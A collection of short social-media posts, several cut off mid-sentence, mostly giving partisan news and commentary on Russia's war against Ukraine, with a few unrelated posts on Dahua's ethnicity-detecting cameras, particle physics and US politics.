BREAKING: Dahua, the world's second largest security camera manufacturer, lists AI-powered cameras on its own website that can detect "race", "skin color", and even "Xinjiang/Tibet" (!) facial features https://t.co/SlOwQXXPBZ via @ipvideo
Alright, let’s just make something very clear: Russia has been waging war against Ukraine for over 8 years now. It staged a “people’s uprising” in the Donetsk and Luhansk regions, using Russian soldiers (please look at Girkin’s biography for an obvious example) and paid-off local
There's a video circulating of Russians executing Ukrainian civilians and dumping their bodies in a pit, just like the Nazis did.
Won't repost as it's stuff of nightmares.
But we're dealing with real fascists here - they have to be defeated. Ukraine can do it if it gets help.
1) Our so-called 'forces' got a new commander, Sergey Surovikin. I couldn't understand, why the surname of yet another random general is so familiar. And yes. Of course he's THAT Surovikin.
Six months ago Ukraine’s Kramatorsk train station was bombed, killing civilians trying to flee the war. The Kremlin denied responsibility.
Today, at @Cen4infoRes, we publish this report, showing how the rockets were fired from a Russian-controlled area. https://t.co/7sM92NiGAN
Russia managed to build the Crimean bridge only thanks to a bunch of Dutch companies that violated sanctions to help Russia & concealed the evidence. The 🇳🇱 investigation is still ongoing, none have been punished. My report about them and others:
https://t.co/c3998HvL7I
Stop talking about so-called land bridge as there is none. As you see from map there in no continuous two way railway on temporary occupied territories of mainland UA. Capacity to transfer cargo through railways on mainland in limited. https://t.co/JhTE7ALboj
⚡️Russian forces strike downtown Kharkiv with missiles.
Kharkiv Mayor Ihor Terekhov reported that Russia targeted downtown Kharkiv, hitting a hospital early on Oct. 8. The building caught fire. There is no information on casualties at the time of the publication.
1/ What is the price of defeat? Few episodes in the Ukraine war illustrate this more vividly than the five-month battle for the village of Dovhenke, an episode which likely cost hundreds of lives but was entirely futile for Russia. A 🧵. https://t.co/wa3g808IHW
russia fired 1000s of cluster munition rockets at Ukrainian cities; so if Ukraine now fires M26 rockets at russian troops - russian propagandists need to shut up.
And russia (like the US, Ukraine, Greece, Turkey) never signed the cluster munitions convention - so the use of
1/2 https://t.co/mxZGDIYMvV
Girkin warns that if Russia does not make major changes soon, no mobilisation waves will help, and the country will repeat the 1917 scenario. Says that in light of this, even (temporarily) leaving Kherson, Melitopol and Crimea is not critical. https://t.co/A7LiEkNOYv
⚡️ Putin no longer tells ministers about his plans, faces criticism in inner circles.
Vladimir Putin has stopped to consult with ministers and doesn't inform them of his plans, Russian news outlet Meduza reports, citing unnamed sources close to Kremlin and the government.
President Volodymyr Zelensky said the West should have carried out "preemptive strikes, so that (Russians) know what will happen to them."
Zelensky's spokesperson was forced to explain that the president was referring to sanctions, not nuclear weapons. https://t.co/LSaGiKNjAj
During the whole Vietnam War, for instance, somewhere between 30k and 100k US citizens left the country to avoid the draft. Even though many Americans hated the war, they reacted very differently. The stampede from Russia reveals a great deal of the weakness of dictatorships.
The most important Ukraine/Russia poll is this.
In August 2021, the number of Ukrainians who saw RU as brotherly nation was 41%.
In April 2022, it was 8%.
64% think the damage to relations is irreparable.
#StandWithUkraine #RussiaGoHome
https://t.co/xidfob06tr
It definitely seems that there is a power struggle going hot within the Russian govt/elite right now, centered on Sergei Shoigu, the minister of defence, and Yevgeny Prigozhin, head of Wagner Group.
🧵/ link in the last tweet. Together with @pustota we found interesting details about unit 14118, from where Russian "nuclear train" departed. No, it’s not where Russia stores nukes, but "top-secret regime" allowed several people to steal millions of RU MoD funds allocated to it. https://t.co/fFyqCS38w8
The “great” Russian army after being beaten on the ground has started a series of attacks by Iranian suicide drones against Bila Tservka. Imagine falling that deep that you have to resort to tactics of terrorists somewhere in the desert. #Ukraine https://t.co/XuAfSmpQeH
⚡️ Governor: Russia's attacks injure 6 in Donetsk, 3 in Kharkiv oblasts.
In the past 24 hours, Russian troops have killed one and wounded six civilians in Donetsk Oblast, said Pavlo Kyrylenko, its governor.
Since the beginning of the full-scale invasion, thousands and thousands of Ukrainians have been abducted and forcefully deported by the Russian Federation. 2/7
As things are moving fast on the Kherson front I drew up a few maps to explain the situation.
A short thread🧵:
In Kherson the russians hold a sizeable bridgehead on the right bank of the Dnipro river (shaded red), which could only be supplied by two bridges, one
1/n https://t.co/6cSQbBAxeS
Free public polls, before the Russian invasion in 2014, showed the majority in Donbas was not supporting separatism. Russia armed and pushed a minority of separatists, then sent its army when their rebellion failed.
https://t.co/chZXrwU4gC https://t.co/nH52Ql3sWw
russian artillery conscript with seven minutes of training pulling the lanyard on his built in 1953 and never serviced soviet cannon to fire north korean shell made out of pot metal & hunger https://t.co/lsmZAnGTTK
Russian railways are grinding to a halt - why?
Because they can't replace worn out bearings on their train carriers.
Why can't they do that?
Because Swedish SKF closed their factory in Tver (RU) in mars and the output produced was for the RU railways.
https://t.co/IjMSAMTNTk
1/ Russia violates Articles II and III-c of the Genocide Convention, as concluded by the recent analysis from the human rights experts who also studied Holocaust, investigated #UyghurGenocide, Daesh crimes against humanity, Boko Haram atrocities, Rohingya genocide, and much more
What @EmmanuelMacron & @OlafScholz don't understand: for many European nations the war against russia is payback time.
Not one of these nations will tell Ukraine to stop, and all of them will help to kill as many russian troops as possible.
This is a list of these nations:
1/n https://t.co/oUxYJU5Fm0
As a Russian-speaking person of color who was born and raised in Ukraine, I believe that I am in a position to speak on the issue of nationalism and neo-Nazism in Ukraine. A long thread 👇
The weak force is the only known force in the Universe that distinguishes between left and right. W bosons completely ignore right-handed particles, similar to how electromagnetism only affects charged particles.
But are there any macroscopic consequences of this property? 🧵
You may be shocked to find out the white supremacy is at the root of this chaos.
Our adversaries understand this is America’s original sin. The horror of what our country did and does to its own people is the fissure they exploit to divide us — through assets like @RudyGiuliani.
0/50 Why we do think that Mr. Trump owes a debt to Mr. Putin? Here are fifty reasons. All of the facts are a matter of public record, and all of the sources can be found in my book The Road to Unfreedom. #RoadToUnfreedom